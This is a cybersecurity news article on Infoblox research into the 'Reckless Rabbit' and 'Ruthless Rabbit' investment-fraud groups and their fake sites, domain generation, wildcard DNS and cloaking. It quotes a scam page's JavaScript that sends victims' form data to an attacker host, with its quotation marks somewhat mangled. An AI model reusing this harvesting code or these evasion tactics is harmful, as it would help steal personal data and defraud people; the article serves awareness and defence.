In 2024, investment fraud surged to become the most financially devastating scam targeting individuals, with losses soaring to $5.7 billion—marking a 24% jump from 2023, according to data from the Federal Trade Commission.
Unlike traditional cons, today’s schemes have evolved into high-stakes digital manipulation campaigns. Tactics include deceptive social media ads, unsolicited messages, and expertly crafted interactions designed to lure victims into fraudulent cryptocurrency ecosystems.
At the core of many of these scams are polished, fraudulent platforms—often branded as legitimate “investment hubs”—that mimic the look and feel of real financial services. These fake sites are built not only to gain trust but also to quietly extract sensitive financial and personal information, setting the stage for large-scale theft.
A deceptive investment site attributed to the group known as “Reckless Rabbit” was uncovered operating in Norwegian, with translated English versions used to broaden its reach (Source: Infoblox).
These scam sites are engineered with embedded forms that quietly harvest key personal details—such as names, email addresses, and phone numbers—to pull victims deeper into an elaborate fraud funnel.
To evade detection and enhance their success rates, the scammers leverage advanced traffic filtering tools. These systems dynamically redirect users based on location, often showing benign content to cybersecurity analysts while displaying malicious pages to real targets.
Infoblox analysts have attributed these operations to two distinct cybercriminal factions—labeled “Reckless Rabbit” and “Ruthless Rabbit”—each known for deploying highly customized strategies that enable them to run large-scale fraud campaigns with alarming efficiency.
A deceptively benign “thank you” page tied to the Ruthless Rabbit scam operation offers a glimpse into a much broader and more calculated infrastructure (Source: Infoblox).
Researchers have uncovered that these cybercriminal groups utilize registered domain generation algorithms (RDGAs)—a stealthy tactic that allows them to auto-create and pre-register thousands of unique domain names. This strategy ensures they can instantly switch to new domains when existing ones are blocked or blacklisted, keeping their schemes operational with minimal disruption.
“Unlike conventional DGAs typically linked to malware communications, these RDGAs remain tightly controlled by the scammers themselves, who handle domain registrations directly,” Infoblox threat analysts noted. “The scope goes far beyond just command-and-control connections—these domains underpin a wide array of fraudulent operations.”
DNS Manipulation at Scale
One key to the high success rate of these scams lies in their innovative abuse of DNS systems. The group behind Reckless Rabbit, for example, uses wildcard DNS configurations—ensuring that any subdomain entered (e.g., anything.scamdomain.info) will resolve successfully. This not only enhances resilience but also enables flexible redirection tactics that can adapt to individual targets or evade detection.
Infoblox researchers recently exposed a campaign where the cybercriminal group known as Reckless Rabbit used Facebook ads promoting fake Amazon products as bait to lure victims into fraudulent schemes (Source: Infoblox).
Behind the scenes, these scams generate a flood of DNS activity, intentionally overwhelming security monitoring systems. This DNS “chaff” obscures the true malicious domains, making detection significantly more difficult.
A deeper analysis of the source code behind one of Ruthless Rabbit’s landing pages reveals just how technically advanced these scams have become. The JavaScript snippet executed on form submission doesn’t just collect user data—it performs real-time validation to filter out bots, researchers, and unqualified leads.
javascript
$(‘form’).submit(function (event){
$(this).submit(false);
event.preventDefault();
event.stopPropagation();
if($(‘.iti__selected-dial-code’).length){
var prefix = $(‘.iti__selected-dial-code’).html().slice(1)
$(this).append()
}
var host = &host=${$(location).attr('hostname')} var url=&url=${$(location).attr(‘href’)}
var args = host + url + so
$.ajax({
type: “POST”,
url: ‘https://mcraftdb[.]tech/api/v1/submit/a6111ace-7304-4d9b-8dfe-9aafb7e9638e/’,
data: $(this).serialize() + args,
success: function (response) {
if (response.Status === true) {
document.location.replace(response.Data);
} else {
document.location.href = ‘thanks.html’;
}
},
})
})
This code segment isn’t just for data collection—it acts as a smart gatekeeper. If the user doesn’t meet certain criteria, the script quietly redirects them away, minimizing exposure to security professionals and non-targets.
Adding another layer of deception, some threat actors have built proprietary cloaking infrastructures complete with fully documented APIs—an approach more common in commercial SaaS environments than in cybercrime.
According to Infoblox, the scale of this operation is staggering. More than 3 million domains linked to RDGA (Registered Domain Generation Algorithms) activity have been observed, many tied to ongoing investment scam networks.
However, hope lies in DNS telemetry. By analyzing the behavioral patterns of domains and traffic flows, cybersecurity teams are beginning to flag these campaigns early—potentially disrupting them before victims are defrauded.
As these scams become more polished and widespread, gaining fluency in DNS exploitation techniques isn’t optional—it’s essential for mounting a meaningful defense.
